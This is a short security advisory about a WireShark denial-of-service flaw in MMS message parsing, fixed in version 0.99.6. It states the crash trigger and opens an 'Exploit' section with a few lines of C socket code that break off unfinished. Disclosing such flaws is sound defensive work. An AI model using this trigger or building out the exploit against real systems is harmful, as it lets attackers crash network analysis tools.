WireShark MMS DoS Vulnerability
------------------------------------------------------------------------

SUMMARY

MMS message parse flaw in WireShark implementation may allow a remote
attacker to crash it causing denial of service.

DETAILS

Vulnerable Systems:
* WireShark versions prior to 0.99.6

Immune Systems:
* WireShark version 0.99.6

WireShark parsing a MMS message whose Content-Type is
application/vnd.wap.multipart.mixed, and the header length of a multipart
content equals to 0x00, will cause it to crash.

Solution:
Update to WireShark version 0.99.6

Exploit:
//main.cpp
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

char *http =
"POST / HTTP/1.0\r\n"
